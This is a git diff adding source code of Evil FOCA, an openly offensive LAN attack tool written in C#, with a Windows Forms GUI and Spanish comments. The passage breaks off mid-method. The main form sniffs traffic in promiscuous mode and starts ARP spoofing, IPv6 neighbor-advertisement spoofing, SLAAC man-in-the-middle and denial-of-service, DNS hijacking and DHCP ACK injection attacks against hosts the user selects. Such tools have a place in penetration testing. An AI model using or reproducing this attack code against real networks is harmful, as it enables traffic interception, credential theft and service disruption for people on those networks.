System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem; + private System.Windows.Forms.Button buttonDHCPACKInjection; + private System.Windows.Forms.TabControl tabDoSIpv4; + private System.Windows.Forms.TabPage tabPage12; + private System.Windows.Forms.Button btStartInvalidMacSpoof; + private System.Windows.Forms.TextBox tbIpSpoofedIpv4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox tbTargetSpoofedIpv4; + private System.Windows.Forms.PictureBox pbInvMacSpoofedIp; + private System.Windows.Forms.PictureBox pbInvMacSpoofTarget; + private ControlHelp.ControlHelp help; + public System.Windows.Forms.SplitContainer splitContainerHelp; + private System.Windows.Forms.Button buttonEnableIPRouting; + private System.Windows.Forms.Label labelIPRouting; + private System.Windows.Forms.Panel panelButtons; + private System.Windows.Forms.Button btNetworkDiscovery; + private System.Windows.Forms.Button btSearchRouters; + private System.Windows.Forms.Button btStart_IPv6DHCP; + private System.Windows.Forms.TextBox tbDNS_IPv6DHCP; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Button btMitmSLAAC; + private System.Windows.Forms.Button btAddNeighbor; + private PanelTarget panelTargetSLAACMitm; + private System.Windows.Forms.TextBox tbSearchFilter; + private System.Windows.Forms.Label lbFilter; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox tbSlaacMitmPrefix; + private System.Windows.Forms.TextBox tbIPRange_IPv6DHCP; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TabPage tabPage13; + private System.Windows.Forms.TabPage tabPage14; + private System.Windows.Forms.Button btnWpadAttack; + private PanelTarget wpadTargetPanel; + private System.Windows.Forms.Button btnWpadv6Attack; + private PanelTarget wpadv6TargetPanel; + private System.Windows.Forms.Panel panel2; + } +} + diff --git a/EvilFoca/FormMain.cs b/EvilFoca/FormMain.cs new file mode 100644 index 0000000..0638819 --- /dev/null +++ b/EvilFoca/FormMain.cs @@ -0,0 +1,1486 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using evilfoca.Attacks; +using evilfoca.Core; +using evilfoca.Data; +using PacketDotNet; +using SharpPcap; +using SharpPcap.WinPcap; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Net; +using System.Net.NetworkInformation; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace evilfoca +{ + public partial class FormMain : Form + { + private bool isSniffing = false; + + Core.NetworkDiscovery networkDiscovery; + + // Filter + string strFilter = string.Empty; + bool isFiltering = false; + + Attacks.NASpoofing NASpoofAttack; + Attacks.ARPSpoofing ArpSpoofing; + Attacks.DoSSLAAC DoSSLAAC; + Attacks.InvalidMacSpoofIPV4 invalidMacSpoofIpv4; + Attacks.SlaacMITM slaacMitm; + + Thread tStackPacket; + Thread tNetworkDiscovery; + + public FormMain() + { + InitializeComponent(); + } + + private void device_OnPacketArrival(object sender, CaptureEventArgs e) + { + try + { + Packet p = Packet.ParsePacket(LinkLayers.Ethernet, e.Packet.Data); + Program.CurrentProject.data.stackPacketsFIFO.Add(p); + } + catch + { + // Paquete perdido + } + } + + private bool IsNeighborFiltered(Neighbor neighbor) + { + // true -> El vecino NO se pinta + // false -> El vecino SI se pinta + + // Se comprueba el nombre + if (!string.IsNullOrEmpty(neighbor.computerName)) + { + if (neighbor.computerName.ToLower().Contains(strFilter.ToLower())) + return false; + } + + // Se comprueba la MAC + if (neighbor.physicalAddress.ToString().ToLower().Contains(strFilter.ToLower())) + return false; + + // Se comprueban las IPs + for (int ip = 0; ip < neighbor.GetIPs().Count; ip++) + { + if (neighbor.GetIPs()[ip].ToString().ToLower().Contains(strFilter.ToLower())) + return false; + } + + return true; + } + + private void add_NewNeighbor(object sender, EventArgs e) + { + try + { + if (treeView.Nodes[mainNode] == null || treeView.Nodes[mainNode].Nodes[neighborsNode] == null) + return; + + Neighbor neighbor = (Neighbor)sender; + NeighborEventArgs ea = (NeighborEventArgs)e; + TreeNode tnNeighbor = null; + + if (isFiltering) + { + if (IsNeighborFiltered(neighbor)) + return; + } + + treeView.Invoke(new MethodInvoker(delegate + { + treeView.BeginUpdate(); + })); + + // Cuando se filtra y se quitan de la GUI vecinos, luego hay que restaurarlos y volver a pintarlos. + // En memoria siguen estando pero en la GUI no, así que llegarán como eventos de 'actualizar', sin + // embargo hay que añadirlos a la GUI como si fueran nuevos. Aqui se hace el cambio de actualizar a añadir. + if (ea.Tipo == NeighborOperacionTreeView.Actualizar) + { + if (treeView.Nodes[mainNode].Nodes[neighborsNode].Nodes[neighbor.physicalAddress.ToString()] == null) + ea.Tipo = NeighborOperacionTreeView.Añadir; + } + + switch (ea.Tipo) + { + case NeighborOperacionTreeView.Añadir: + // No existe el vecino. Se agrega. + treeView.Invoke(new MethodInvoker(delegate + { + tnNeighbor = treeView.Nodes[mainNode].Nodes[neighborsNode].Nodes.Add(neighbor.physicalAddress.ToString(), neighbor.physicalAddress.ToString()); + + if (tnNeighbor == null) + { + treeView.EndUpdate(); + return; + } + + tnNeighbor.Tag = neighbor; + tnNeighbor.ImageIndex = tnNeighbor.SelectedImageIndex = 11; + + if (treeView.Nodes[mainNode].Nodes[neighborsNode].Nodes.Count == 1) + treeView.Nodes[mainNode].Nodes[neighborsNode].Expand(); + })); + + + break; + case NeighborOperacionTreeView.Actualizar: + // El vecino existe. Se insertan nodos desplegables por cada IP que tenga el vecino + tnNeighbor = treeView.Nodes[mainNode].Nodes[neighborsNode].Nodes[neighbor.physicalAddress.ToString()]; + if (tnNeighbor == null) + { + treeView.EndUpdate(); + return; + } + break; + } + + List listaIps = new List(neighbor.GetIPs()); + foreach (IPAddress ipAddress in listaIps) + { + if (!tnNeighbor.Nodes.ContainsKey(ipAddress.ToString())) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tnNeighborIP = tnNeighbor.Nodes.Add(ipAddress.ToString(), ipAddress.ToString()); + tnNeighborIP.ImageIndex = tnNeighborIP.SelectedImageIndex = 0; + tnNeighborIP.Tag = ipAddress; + tnNeighbor.Expand(); + + Thread tColorChanger = new Thread(new ParameterizedThreadStart(ChangeColor)); + tColorChanger.IsBackground = true; + tColorChanger.Start(tnNeighborIP); + })); + } + else + { + // Si ya existia, se agregan los puertos en caso de que no existan. + TreeNode tnIP = tnNeighbor.Nodes[ipAddress.ToString()]; + UpdatePortsOfIPNode(tnIP); + } + } + + // Si el vecino tiene nombre, se le establece en el nodo + if (!tnNeighbor.Text.StartsWith(neighbor.ToString())) + { + treeView.Invoke(new MethodInvoker(delegate + { + tnNeighbor.Text = neighbor.ToString(); + Thread tColorChanger = new Thread(new ParameterizedThreadStart(ChangeColorUpdate)); + tColorChanger.IsBackground = true; + tColorChanger.Start(tnNeighbor); + })); + } + + // Se le pone el iconcillo de OS + if ((neighbor.osPlatform != Platform.Unknow) && (tnNeighbor.ImageIndex == 11)) + { + treeView.Invoke(new MethodInvoker(delegate + { + int imageOS = Program.CurrentProject.data.GetImageNumberOS(neighbor.osPlatform); + tnNeighbor.ImageIndex = tnNeighbor.SelectedImageIndex = imageOS; + })); + } + + treeView.Invoke(new MethodInvoker(delegate + { + treeView.EndUpdate(); + })); + + + Update_Routers(neighbor); + } + catch (Exception ex) + { + ex.ToString(); + } + + } + + + private void Update_Routers(Neighbor neighbor) + { + treeView.Invoke(new MethodInvoker(delegate + { + treeView.BeginUpdate(); + })); + if (!treeView.Nodes[mainNode].Nodes[routersNode].Nodes.ContainsKey(neighbor.physicalAddress.ToString())) + { + // Si el vecino puede enrutar y no se ha agregado, se agrega + if (neighbor.canRoutePackets == RouteStatus.CanRoute) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tn = treeView.Nodes[mainNode].Nodes[routersNode].Nodes.Add(neighbor.physicalAddress.ToString(), neighbor.physicalAddress.ToString()); + tn.Tag = neighbor; + tn.ImageIndex = tn.SelectedImageIndex = 11; + + if (treeView.Nodes[mainNode].Nodes[routersNode].Nodes.Count == 1) + treeView.Nodes[mainNode].Nodes[routersNode].Expand(); + })); + } + } + + // Como se puede haber insertado el nodo en el IF anterior, se vuelve a comprobar a ver si podemos insertarle la IP + if (treeView.Nodes[mainNode].Nodes[routersNode].Nodes.ContainsKey(neighbor.physicalAddress.ToString())) + { + // El router existe. Se insertan nodos desplegables por cada IP que tenga el router + TreeNode tnRouter = treeView.Nodes[mainNode].Nodes[routersNode].Nodes[neighbor.physicalAddress.ToString()]; + + foreach (IPAddress ipAddress in neighbor.GetIPs()) + { + // Se agrega la IP en caso de que no exista + if (!tnRouter.Nodes.ContainsKey(ipAddress.ToString())) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tnRouterIP = tnRouter.Nodes.Add(ipAddress.ToString(), ipAddress.ToString()); + tnRouterIP.ImageIndex = tnRouterIP.SelectedImageIndex = 0; + tnRouterIP.Tag = ipAddress; + tnRouter.Expand(); + + Thread tColorChanger = new Thread(new ParameterizedThreadStart(ChangeColor)); + tColorChanger.IsBackground = true; + tColorChanger.Start(tnRouterIP); + })); + } + else + { + // Si ya existia, se agregan los puertos en caso de que no existan. + TreeNode tnIP = tnRouter.Nodes[ipAddress.ToString()]; + UpdatePortsOfIPNode(tnIP); + } + } + + // Si el router tiene nombre, se le establece en el nodo + if (!tnRouter.Text.StartsWith(neighbor.ToString())) + { + treeView.Invoke(new MethodInvoker(delegate + { + tnRouter.Text = neighbor.ToString(); + Thread tColorChanger = new Thread(new ParameterizedThreadStart(ChangeColorUpdate)); + tColorChanger.IsBackground = true; + tColorChanger.Start(tnRouter); + })); + } + + // Se le pone el iconcillo de OS + if ((neighbor.osPlatform != Platform.Unknow) && (tnRouter.ImageIndex == 11)) + { + treeView.Invoke(new MethodInvoker(delegate + { + int imageOS = Program.CurrentProject.data.GetImageNumberOS(neighbor.osPlatform); + tnRouter.ImageIndex = tnRouter.SelectedImageIndex = imageOS; + })); + } + } + treeView.Invoke(new MethodInvoker(delegate + { + treeView.EndUpdate(); + })); + + } + + private void CierraSplash() + { + Program.fSplash.Invoke(new MethodInvoker(delegate + { + Program.fSplash.Close(); + } + )); + } + + private void FormMain_Load(object sender, EventArgs e) + { + this.Text = Application.ProductName + " - " + Application.ProductVersion; + Program.CurrentProject.data.NewNeighbor += new EventHandler(add_NewNeighbor); + UpdateMainNodes(); + + this.BringToFront(); + + Program.CurrentProject.data.GetDevice().Open(SharpPcap.WinPcap.OpenFlags.Promiscuous /*| OpenFlags.NoCaptureLocal*/, 1); + + // Inicia el hilo que gestiona la stack de paquetes + tStackPacket = new Thread(new ThreadStart(StackPacketGestor)); + tStackPacket.IsBackground = true; + tStackPacket.Start(); + + NASpoofAttack = new Attacks.NASpoofing(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetAttacks()); + + if (Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()) != null) + ArpSpoofing = new Attacks.ARPSpoofing(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetIPv4FromDevice(Program.CurrentProject.data.GetDevice()), Program.CurrentProject.data.GetAttacks()); + + DoSSLAAC = new Attacks.DoSSLAAC(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetAttacks()); + invalidMacSpoofIpv4 = new Attacks.InvalidMacSpoofIPV4(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetAttacks()); + slaacMitm = new Attacks.SlaacMITM(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetAttacks()); + + StartSniffing(); + + // Inicializa el hilo del network discovery + networkDiscovery = new Core.NetworkDiscovery(); + this.btNetworkDiscovery.Image = Properties.Resources.SearchStop; + networkDiscovery.OnDiscoverFinish += new NetworkDiscovery.DiscoverFinishedDelegate(networkDiscovery_OnDiscoverFinish); + networkDiscovery.SetDevice(Program.CurrentProject.data.GetDevice()); + tNetworkDiscovery = new Thread(new ThreadStart(networkDiscovery.StartNetworkDiscoveryJustOneTime)); + tNetworkDiscovery.IsBackground = true; + tNetworkDiscovery.Start(); + + listViewExAttacks.FullRowSelect = true; + + panelMitmIpv4.typeList = PanelTargets.TypeList.Ipv4; + panelNeighborAdvSpoof.typeList = PanelTargets.TypeList.Ipv6; + wpadTargetPanel.typeList = PanelTargets.TypeList.Ipv4; + wpadv6TargetPanel.typeList = PanelTargets.TypeList.Ipv6; + + // Forzamos a cargar el panel de ayuda de mitm de neighbors ipv6, que es la pestaña que se carga al inicio + tabMitm_Selected(null, null); + + AddShieldToButton(buttonEnableIPRouting); + + tbSlaacMitmPrefix.Text = "fc00::0"; //prefix por defecto Slaac + + //CierraSplash(); + Thread tCierraSplash = new Thread(new ThreadStart(CierraSplash)); + tCierraSplash.IsBackground = true; + tCierraSplash.Start(); + } + + private void networkDiscovery_OnDiscoverFinish(object sender, EventArgs myArgs) + { + this.btNetworkDiscovery.Image = Properties.Resources.SearchStart; + } + + #region UAC Elevate button + [DllImport("user32")] + public static extern UInt32 SendMessage + (IntPtr hWnd, UInt32 msg, UInt32 wParam, UInt32 lParam); + + internal const int BCM_SETSHIELD = (0x1600 + 0x000C); //Elevate button + static internal void AddShieldToButton(Button b) + { + b.FlatStyle = FlatStyle.System; + SendMessage(b.Handle, BCM_SETSHIELD, 0, 0xFFFFFFFF); + } + #endregion + + #region StackFIFOGestorPaquetes + + private void StackPacketGestor() + { + int concurrentThreads = Environment.ProcessorCount; + + ManualResetEvent[] doneEvents = new ManualResetEvent[concurrentThreads]; + PasiveScan[] scanArray = new PasiveScan[concurrentThreads]; + for (int i = 0; i < concurrentThreads; i++) + { + doneEvents[i] = new ManualResetEvent(true); + PasiveScan scanProc = new Core.PasiveScan(Program.CurrentProject.data.GetDevice(), Program.CurrentProject.data.GetAttacks(), Data.Data.neighbors, Data.Data.SlaacReqList); + scanProc.NewICMPv6Solicitation += new EventHandler(pasiveScan_NewICMPv6Solicitation); + scanProc.NewNeighbor += new EventHandler(pasiveScan_NewNeighbor); + scanArray[i] = scanProc; + } + while (true) + { + if (Program.CurrentProject.data.stackPacketsFIFO.Count > 0) + { + int index = WaitHandle.WaitAny(doneEvents); + doneEvents[index] = new ManualResetEvent(false); + Packet p = Program.CurrentProject.data.stackPacketsFIFO[0]; + scanArray[index].packetToAnalyze = p; + Program.CurrentProject.data.stackPacketsFIFO.RemoveAt(0); + scanArray[index].doneEvent = doneEvents[index]; + ThreadPool.QueueUserWorkItem(scanArray[index].ThreadPoolCallback, index); + } + else + System.Threading.Thread.Sleep(1); + } + } + #endregion + + #region GUI_Updater + + private static string mainNode = "Network"; + private static string neighborsNode = "Neighbors"; + private static string routersNode = "Routers"; + private static string portsNode = "Ports"; + + private void UpdateGUIBackgroundAsync() + { + try + { + int interval = 500; + + while (true) + { + UpdateGUI(); + System.Threading.Thread.Sleep(interval); + } + } + catch (ThreadAbortException) + { + return; + } + catch (Exception ex) + { +#if DEBUG + MessageBox.Show("Se ha producido una excepción en la actualizacion de la GUI: " + ex.Message); +#endif + } + } + + private void UpdateGUI() + { + if (System.Windows.Forms.Application.OpenForms.Count == 0) + return; // Evita condiciones de carrera donde se intenta actualizar la GUI antes de haber creado el identificador de ventana + + UpdateMainNodes(); + UpdateAttackList(); + } + + private void UpdatePortsOfIPNode(TreeNode tn) + { + if (tn == null) + return; + TreeNode tnPorts = null; + + if (tn.Tag is IPAddress) + { + IPAddress neighborIP = (IPAddress)tn.Tag; + PhysicalAddress neighborMac = Program.CurrentProject.data.GetNeighborMAC(neighborIP); + if (neighborMac == null) + return; + Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(neighborMac); + if (neighbor == null) + return; + + SynchronizedCollection lstPorts = neighbor.GetPorts(neighborIP); + if (lstPorts.Count > 0) + { + if (!(tn.Nodes.ContainsKey(portsNode))) + { + treeView.Invoke(new MethodInvoker(delegate + { + tnPorts = tn.Nodes.Add(portsNode, portsNode); + tnPorts.ImageIndex = tnPorts.SelectedImageIndex = 13; + })); + } + else + tnPorts = tn.Nodes[portsNode]; + + foreach (Port p in lstPorts) + { + if (!(tnPorts.Nodes.ContainsKey(p.ToString()))) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tnPort = tnPorts.Nodes.Add(p.ToString(), p.ToString()); + tnPort.ImageIndex = tnPort.SelectedImageIndex = 14; + })); + } + } + + } + + } + } + + private void UpdateMainNodes() + { + bool firstTime = false; + + if (treeView.Nodes[mainNode] == null) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tn = treeView.Nodes.Add(mainNode, mainNode); + tn.ImageIndex = tn.SelectedImageIndex = 2; + })); + firstTime = true; + } + if (treeView.Nodes[mainNode].Nodes[neighborsNode] == null) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tn = treeView.Nodes[mainNode].Nodes.Add(neighborsNode, neighborsNode); + tn.ImageIndex = tn.SelectedImageIndex = 3; + })); + } + + if (treeView.Nodes[mainNode].Nodes[routersNode] == null) + { + treeView.Invoke(new MethodInvoker(delegate + { + TreeNode tn = treeView.Nodes[mainNode].Nodes.Add(routersNode, routersNode); + tn.ImageIndex = tn.SelectedImageIndex = 12; + })); + } + + if (firstTime) + { + treeView.Invoke(new MethodInvoker(delegate + { + treeView.ExpandAll(); + })); + } + } + + private static void ChangeColorUpdate(object o) + { + try + { + TreeNode tn = (TreeNode)o; + tn.ForeColor = Color.Blue; + } + catch + { +#if DEBUG + MessageBox.Show("Excepcion coloreando nodos en ChangeColorUpdate(object o)"); +#endif + } + } + + private static void ChangeColor(object o) + { + try + { + TreeNode tn = (TreeNode)o; + tn.ForeColor = SystemColors.WindowText; + } + catch + { +#if DEBUG + MessageBox.Show("Excepcion coloreando nodos en ChangeColor(object o)"); +#endif + } + } + + private void UpdateAttackList() + { + listViewExAttacks.Invoke(new MethodInvoker(delegate + { + foreach (ListViewItem lvi in listViewExAttacks.Items) + { + Data.Attack attack = (Data.Attack)lvi.Tag; + + if (lvi.SubItems[1].Tag is ControlMitmAttack) + ((ControlMitmAttack)lvi.SubItems[1].Tag).UpdateData(); + if (lvi.SubItems[1].Tag is ControlDNSHijacking) + ((ControlDNSHijacking)lvi.SubItems[1].Tag).UpdateData(); + } + })); + } + + #endregion + + private void StartSniffing() + { + if (isSniffing == false) + { + + isSniffing = true; + Program.CurrentProject.data.GetDevice().OnPacketArrival += new PacketArrivalEventHandler(device_OnPacketArrival); + Program.CurrentProject.data.GetDevice().OnPcapStatistics += new StatisticsModeEventHandler(FormMain_OnPcapStatistics); + Program.CurrentProject.data.GetDevice().StartCapture(); + + // Se inicializan los manejadores de cada tipo de ataque. Un hilo por cada manejador + if (ArpSpoofing != null) + ArpSpoofing.Start(); + if (NASpoofAttack != null) + NASpoofAttack.Start(); + if (DoSSLAAC != null) + DoSSLAAC.Start(); + if (invalidMacSpoofIpv4 != null) + invalidMacSpoofIpv4.Start(); + if (slaacMitm != null) + slaacMitm.Start(); + } + } + + void FormMain_OnPcapStatistics(object sender, StatisticsModeEventArgs e) + { + } + + void pasiveScan_NewNeighbor(object sender, NeighborEventArgs e) + { + if (!(e.Neighbor.physicalAddress.Equals(Program.CurrentProject.data.GetDevice().Interface.MacAddress))) + Program.LogThis("New neighbor detected with " + e.Neighbor.physicalAddress.ToString() + " as physical address", Logs.Log.LogType.NeighborSpoofing); + + } + + void pasiveScan_NewICMPv6Solicitation(object sender, Core.PacketEventArgs e) + { + if (!(e.packet is EthernetPacket)) + return; + + Packet packet = e.packet; + + ICMPv6Packet pIcmp = (ICMPv6Packet)packet.PayloadPacket.PayloadPacket; + IPAddress ipDestination = ((IPv6Packet)pIcmp.ParentPacket).DestinationAddress; + IPAddress ipSource = ((IPv6Packet)pIcmp.ParentPacket).SourceAddress; + + PhysicalAddress macDestination = ((EthernetPacket)packet).DestinationHwAddress; + PhysicalAddress macSource = ((EthernetPacket)packet).SourceHwAddress; + + if (ipDestination.IsIPv6Multicast) + { + ICMPv6.NeighborSolicitation solicitation = new ICMPv6.NeighborSolicitation(pIcmp.Bytes); + } + } + + private void StopSniffing() + { + if (isSniffing == true) + { + isSniffing = false; + + if (NASpoofAttack != null) + NASpoofAttack.Stop(); + if (ArpSpoofing != null) + ArpSpoofing.Stop(); + + Program.CurrentProject.data.GetDevice().Close(); + } + } + + private void treeView_ItemDrag(object sender, ItemDragEventArgs e) + { + (sender as TreeView).SelectedNode = (e.Item as TreeNode); + + if ((e.Item as TreeNode).Tag is IPAddress) + DoDragDrop((e.Item as TreeNode).Tag, DragDropEffects.Move); + } + + private void btStartNeighborSpoof_Click(object sender, EventArgs e) + { + List lstGateway = panelNeighborAdvSpoof.GetGatewayList(); + List lstTargets = panelNeighborAdvSpoof.GetTargetsList(); + + if (lstGateway.Count == 0) + ShowMessage("You've to set a 'gateway'", 1000, FormMessage.IconType.Error); + else if (lstTargets.Count == 0) + ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); + else + { + IPAddress gateway = (IPAddress)lstGateway[0]; + + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + PhysicalAddress macGateway = Program.CurrentProject.data.GetNeighborMAC(gateway); + if ((macTarget == null) || (macGateway == null)) + return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? + MitmAttack attack = new Data.MitmAttack(new Target(gateway, macGateway), new Target(target, macTarget), AttackType.NeighborAdvertisementSpoofing); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis("Performing a MITM (Neighbor spoofing) attack between " + attack.t1.ip.ToString() + " and " + attack.t2.ip.ToString(), Logs.Log.LogType.NeighborSpoofing); + } + + panelNeighborAdvSpoof.ClearGateway(); + panelNeighborAdvSpoof.ClearTargets(); + } + } + + + private void AddAttackToListViewEx(Attack attack) + { + ListViewItem lvi = new ListViewItem(); + lvi.Tag = attack; + + lvi.Text = attack.attackType.ToString(); // type + lvi.SubItems.Add(""); // control + lvi.SubItems.Add(""); // active + listViewExAttacks.Items.Add(lvi); + if (attack is MitmAttack) + { + if (attack.attackType == AttackType.SlaacMitm) + { + ControlSlaacMitm contr = new ControlSlaacMitm(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + + else + { + ControlMitmAttack contr = new ControlMitmAttack(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + } + else if (attack is DNSHijackAttack) + { + ControlDNSHijacking contr = new ControlDNSHijacking(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + else if (attack is InvalidMacSpoofAttackIpv4Attack) + { + ControlInvalidMacIpv4 contr = new ControlInvalidMacIpv4(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + else if (attack is DhcpIPv6) + { + ControlDHCPv6 contr = new ControlDHCPv6(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + else if (attack is DoSSLAACAttack) + { + ControlDosSlaac contr = new ControlDosSlaac(attack); + listViewExAttacks.AddEmbeddedControl(contr, 1, listViewExAttacks.Items.Count - 1); + lvi.SubItems[1].Tag = contr; + } + + CheckBox cbActive = new CheckBox(); + if (attack.attackStatus == AttackStatus.Attacking) + cbActive.Checked = true; + else + cbActive.Checked = false; + cbActive.Tag = attack; + cbActive.CheckedChanged += new EventHandler(cbActive_CheckedChanged); + listViewExAttacks.AddEmbeddedControl(cbActive, 2, listViewExAttacks.Items.Count - 1); + } + + void cbActive_CheckedChanged(object sender, EventArgs e) + { + Attack attack = (Attack)((CheckBox)sender).Tag; + + if (((CheckBox)sender).Checked == false) + attack.attackStatus = AttackStatus.Stopping; + else + attack.attackStatus = AttackStatus.Attacking; + } + + private void FormMain_FormClosing(object sender, FormClosingEventArgs e) + { + StopSniffing(); + } + + private void btStartARPSpoofing_Click(object sender, EventArgs e) + { + List lstGateway = panelMitmIpv4.GetGatewayList(); + List lstTargets = panelMitmIpv4.GetTargetsList(); + + if (lstGateway.Count == 0) + ShowMessage("You've to set a 'gateway'", 1000, FormMessage.IconType.Error); + else if (lstTargets.Count == 0) + ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); + else + { + IPAddress gateway = (IPAddress)lstGateway[0]; + + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + PhysicalAddress macGateway = Program.CurrentProject.data.GetNeighborMAC(gateway); + if ((macTarget == null) || (macGateway == null)) + return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? + + MitmAttack attack = new Data.MitmAttack(new Target(gateway, macGateway), new Target(target, macTarget), AttackType.ARPSpoofing); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis("Performing a MITM (ARP) attack between " + attack.t1.ip.ToString() + " and " + attack.t2.ip.ToString(), Logs.Log.LogType.NeighborSpoofing); + } + + panelNeighborAdvSpoof.ClearGateway(); + panelNeighborAdvSpoof.ClearTargets(); + } + } + + private void interfaceToolStripMenuItem_Click(object sender, EventArgs e) + { + FormInterfaces fInterfaces = new FormInterfaces(false); + fInterfaces.ShowDialog(); + if (fInterfaces.device != null) + Program.CurrentProject.data.SetDevice(fInterfaces.device); + } + + private void settingsToolStripMenuItem_Click(object sender, EventArgs e) + { + FormSettings fs = new FormSettings(); + fs.ShowDialog(); + } + + private void cbWildcardDnsHijack_CheckedChanged(object sender, EventArgs e) + { + if (cbWildcardDnsHijack.Checked) + { + tbDomainDNSHijack.Text = "*"; + tbDomainDNSHijack.Enabled = false; + } + else + { + tbDomainDNSHijack.Text = ""; + tbDomainDNSHijack.Enabled = true; + } + } + + private void btAddDNSHijack_Click(object sender, EventArgs e) + { + try + { + IPAddress ip = IPAddress.Parse(tbIpDNSHijack.Text); + DNSHijackAttack dnsHijack = new DNSHijackAttack(tbDomainDNSHijack.Text, ip, AttackType.DNSHijacking); + Program.CurrentProject.data.AddAttack(dnsHijack); + dnsHijack.Start(); + AddAttackToListViewEx(dnsHijack); + } + catch + { + ShowMessage("Invalid IP address", 1000, FormMessage.IconType.Error); + } + } + + private void treeView_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Right) + { + TreeNode selectedNode = treeView.GetNodeAt(e.X, e.Y); + treeView.SelectedNode = selectedNode; + } + } + + + private void pictureI64_Click(object sender, EventArgs e) + { + System.Diagnostics.Process.Start("http://www.informatica64.com"); + } + + private void aboutToolStripMenuItem_Click(object sender, EventArgs e) + { + FormAbout fAbout = new FormAbout(); + fAbout.ShowDialog(); + } + + private void buttonStartSLAACDoS_Click(object sender, EventArgs e) + { + List lstTargets = panelTargetSLAACDoS.GetTargetsList(); + + if (lstTargets.Count == 0) + ShowMessage("You've to set at least any target", 1000, FormMessage.IconType.Error); + else + { + foreach (IPAddress target in lstTargets) + { + PhysicalAddress macTarget = Program.CurrentProject.data.GetNeighborMAC(target); + if ((macTarget == null)) + return; // Se descarta el target. Algo raro pasa, ¿Como tener la IP sin la mac en la lista de vecinos? + + DoSSLAACAttack attack = new Data.DoSSLAACAttack(new Target(target, macTarget), AttackType.DoSSLAAC); + Program.CurrentProject.data.AddAttack(attack); + attack.Start(); + + AddAttackToListViewEx(attack); + + Program.LogThis("Performing a IPv6 DoS (SLAAC) attack to " + attack.t1.ip.ToString(), Logs.Log.LogType.NeighborSpoofing); + } + panelTargetSLAACDoS.ClearTargets(); + } + } + + private Form ShowForm(Form f) + { + f.StartPosition = FormStartPosition.CenterParent; + f.ShowDialog(); + return f; + } + + private void addNeighborToolStripMenuItem_Click(object sender, EventArgs e) + { + bool added = false; + + FormAddNeighbor fAddNeighbor = new FormAddNeighbor(); + fAddNeighbor = (FormAddNeighbor)ShowForm(fAddNeighbor); + + if (fAddNeighbor.mac != null && fAddNeighbor.ip != null) + { + // Comprobar si ya existe un vecino con esa mac + Neighbor n = Program.CurrentProject.data.GetNeighbor(fAddNeighbor.mac); + if (n == null) + { + // No existia. Se agrega. + n = new Neighbor(); + n.physicalAddress = fAddNeighbor.mac; + n.AddIP(fAddNeighbor.ip); + Program.CurrentProject.data.AddNeighbor(n); + added = true; + } + else + { + // Ya existia. Verificamos si ya tenia asignada la IP + if (n.ExistsIP(fAddNeighbor.ip)) + { + // Existia + ShowMessage("IP Address '" + fAddNeighbor.ip.ToString() + "' is already asigned to a neighbor with '" + fAddNeighbor.mac.ToString() + "' as MAC address", 2000, FormMessage.IconType.Info); + return; + } + else + { + // No existia. Se agrega + n = new Neighbor(); + n.physicalAddress = fAddNeighbor.mac; + n.AddIP(fAddNeighbor.ip); + Program.CurrentProject.data.AddNeighbor(n); + added = true; + } + } + + if (added) + ShowMessage("IP '" + fAddNeighbor.ip.ToString() + "' added successfully with '" + fAddNeighbor.mac.ToString() + "' as MAC", 2000, FormMessage.IconType.Info); + } + } + + private void buttonDHCPACKInjection_Click(object sender, EventArgs e) + { + if (CheckDHCPACKConfigurationIpv4()) + { + string gateway; + if (checkBoxUseAsGateway.Checked) + gateway = 